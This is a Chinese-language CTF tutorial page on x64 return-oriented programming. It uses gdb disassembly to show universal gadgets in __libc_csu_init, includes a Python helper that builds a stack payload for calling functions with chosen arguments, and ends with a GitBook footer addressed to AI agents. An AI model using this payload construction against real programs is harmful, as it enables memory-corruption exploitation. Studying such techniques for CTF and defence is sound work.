> For the complete documentation index, see [llms.txt](https://firmianay.gitbook.io/ctf-all-in-one/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://firmianay.gitbook.io/ctf-all-in-one/4_tips/4.7_common_gadget.md).

# 4.7 通用 gadget

## \_\_libc\_csu\_init()

我们知道在程序编译的过程中，会自动加入一些通用函数做初始化的工作，这些初始化函数都是相同的，所以我们可以考虑在这些函数中找到一些通用的 gadget，在 x64 程序中，就存在这样的 gadget。x64 程序的前六个参数依次通过寄存器 rdi、rsi、rdx、rcx、r8、r9 进行传递，我们所找的 gadget 自然也是针对这些寄存器进行操作的。

函数 `__libc_csu_init()` 用于对 libc 进行初始化，只要程序调用了 libc，就一定存在这个函数。由于每个版本的 libc 都有一定区别，这里的版本如下：

```
$ file /usr/lib/libc-2.26.so
/usr/lib/libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=f46739d962ec152b56d2bdb7dadaf8e576dbf6eb, for GNU/Linux 3.2.0, not stripped
```

下面用 6.1 pwn hctf2016 brop 的程序来做示范，使用 `/r` 参数可以打印出原始指令的十六进制：

```
gdb-peda$ disassemble /r __libc_csu_init
Dump of assembler code for function __libc_csu_init:
   0x00000000004007d0 <+0>:     41 57   push   r15
   0x00000000004007d2 <+2>:     41 56   push   r14
   0x00000000004007d4 <+4>:     49 89 d7        mov    r15,rdx
   0x00000000004007d7 <+7>:     41 55   push   r13
   0x00000000004007d9 <+9>:     41 54   push   r12
   0x00000000004007db <+11>:    4c 8d 25 16 06 20 00    lea    r12,[rip+0x200616]        # 0x600df8
   0x00000000004007e2 <+18>:    55      push   rbp
   0x00000000004007e3 <+19>:    48 8d 2d 16 06 20 00    lea    rbp,[rip+0x200616]        # 0x600e00
   0x00000000004007ea <+26>:    53      push   rbx
   0x00000000004007eb <+27>:    41 89 fd        mov    r13d,edi
   0x00000000004007ee <+30>:    49 89 f6        mov    r14,rsi
   0x00000000004007f1 <+33>:    4c 29 e5        sub    rbp,r12
   0x00000000004007f4 <+36>:    48 83 ec 08     sub    rsp,0x8
   0x00000000004007f8 <+40>:    48 c1 fd 03     sar    rbp,0x3
   0x00000000004007fc <+44>:    ff 15 f6 07 20 00       call   QWORD PTR [rip+0x2007f6]        # 0x600ff8
   0x0000000000400802 <+50>:    48 85 ed        test   rbp,rbp
   0x0000000000400805 <+53>:    74 1f   je     0x400826 <__libc_csu_init+86>
   0x0000000000400807 <+55>:    31 db   xor    ebx,ebx
   0x0000000000400809 <+57>:    0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]
   0x0000000000400810 <+64>:    4c 89 fa        mov    rdx,r15
   0x0000000000400813 <+67>:    4c 89 f6        mov    rsi,r14
   0x0000000000400816 <+70>:    44 89 ef        mov    edi,r13d
   0x0000000000400819 <+73>:    41 ff 14 dc     call   QWORD PTR [r12+rbx*8]
   0x000000000040081d <+77>:    48 83 c3 01     add    rbx,0x1
   0x0000000000400821 <+81>:    48 39 dd        cmp    rbp,rbx
   0x0000000000400824 <+84>:    75 ea   jne    0x400810 <__libc_csu_init+64>
   0x0000000000400826 <+86>:    48 83 c4 08     add    rsp,0x8
   0x000000000040082a <+90>:    5b      pop    rbx
   0x000000000040082b <+91>:    5d      pop    rbp
   0x000000000040082c <+92>:    41 5c   pop    r12
   0x000000000040082e <+94>:    41 5d   pop    r13
   0x0000000000400830 <+96>:    41 5e   pop    r14
   0x0000000000400832 <+98>:    41 5f   pop    r15
   0x0000000000400834 <+100>:   c3      ret
End of assembler dump.
```

从中提取出两段（必须以ret结尾），把它们叫做 part1 和 part2：

```
   0x000000000040082a <+90>:    5b      pop    rbx
   0x000000000040082b <+91>:    5d      pop    rbp
   0x000000000040082c <+92>:    41 5c   pop    r12
   0x000000000040082e <+94>:    41 5d   pop    r13
   0x0000000000400830 <+96>:    41 5e   pop    r14
   0x0000000000400832 <+98>:    41 5f   pop    r15
   0x0000000000400834 <+100>:   c3      ret
```

```
   0x0000000000400810 <+64>:    4c 89 fa        mov    rdx,r15
   0x0000000000400813 <+67>:    4c 89 f6        mov    rsi,r14
   0x0000000000400816 <+70>:    44 89 ef        mov    edi,r13d
   0x0000000000400819 <+73>:    41 ff 14 dc     call   QWORD PTR [r12+rbx*8]
   0x000000000040081d <+77>:    48 83 c3 01     add    rbx,0x1
   0x0000000000400821 <+81>:    48 39 dd        cmp    rbp,rbx
   0x0000000000400824 <+84>:    75 ea   jne    0x400810 <__libc_csu_init+64>
   0x0000000000400826 <+86>:    48 83 c4 08     add    rsp,0x8
   0x000000000040082a <+90>:    5b      pop    rbx
   0x000000000040082b <+91>:    5d      pop    rbp
   0x000000000040082c <+92>:    41 5c   pop    r12
   0x000000000040082e <+94>:    41 5d   pop    r13
   0x0000000000400830 <+96>:    41 5e   pop    r14
   0x0000000000400832 <+98>:    41 5f   pop    r15
   0x0000000000400834 <+100>:   c3      ret
```

part1 中连续六个 pop，我们可以通过布置栈来设置这些寄存器，然后进入 part2，前三条语句（r15->rdx、r14->rsi、r13d->edi）分别给三个参数寄存器赋值，然后调用函数，这里需要注意的是第三句是 r13d（r13低32位）给 edi（rdi低32位）赋值，即使这样我们还是可以做很多操作了。

另外为了让程序在调用函数返回后还能继续执行，我们需要像下面这样进行构造：

```
pop rbx     #必须为0
pop rbp     #必须为1
pop r12     #函数地址
pop r13     #edi
pop r14     #rsi
pop r15     #rdx
ret         #跳转到part2
```

下面附上一个可直接调用的函数：

```python
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
    payload  = p64(part1)   # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
    payload += p64(0x0)     # rbx must be 0x0
    payload += p64(0x1)     # rbp must be 0x1
    payload += p64(jmp2)    # r12 jump to
    payload += p64(arg1)    # r13 -> edi    arg1
    payload += p64(arg2)    # r14 -> rsi    arg2
    payload += p64(arg3)    # r15 -> rdx    arg3
    payload += p64(part2)   # part2 entry will call [r12+rbx*0x8]
    payload += 'A' * 56     # junk 6*8+8=56
    return payload
```

上面的 gadget 是显而易见的，但如果有人精通汇编字节码，可以找到一些比较隐蔽的 gadget，比如说指定一个位移点再反编译：

```
gdb-peda$ disassemble /r 0x0000000000400831,0x0000000000400835
Dump of assembler code from 0x400831 to 0x400835:
   0x0000000000400831 <__libc_csu_init+97>:     5e      pop    rsi
   0x0000000000400832 <__libc_csu_init+98>:     41 5f   pop    r15
   0x0000000000400834 <__libc_csu_init+100>:    c3      ret
End of assembler dump.
```

```
gdb-peda$ disassemble /r 0x0000000000400833,0x0000000000400835
Dump of assembler code from 0x400833 to 0x400835:
   0x0000000000400833 <__libc_csu_init+99>:     5f      pop    rdi
   0x0000000000400834 <__libc_csu_init+100>:    c3      ret
End of assembler dump.
```

`5e` 和 `5f` 分别是 `pop rsi` 和 `pop rdi` 的字节码，于是我们可以通过这种方法轻易地控制 `rsi` 和 `rdi`。

在 6.1.1 pwn HCTF2016 brop 的 exp 中，我们使用了偏移后的 `pop rdi; ret`，而没有用 `com_gadget()` 函数，感兴趣的童鞋可以尝试使用它重写 exp。

除了上面介绍的 `__libc_csu_init()`，还可以到下面的函数中找一找：

```
_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini
```

总之，多试一试总不会错。

## 参考资料

* [一步一步学 ROP 系列](https://github.com/zhengmin1989/ROP_STEP_BY_STEP)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://firmianay.gitbook.io/ctf-all-in-one/4_tips/4.7_common_gadget.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
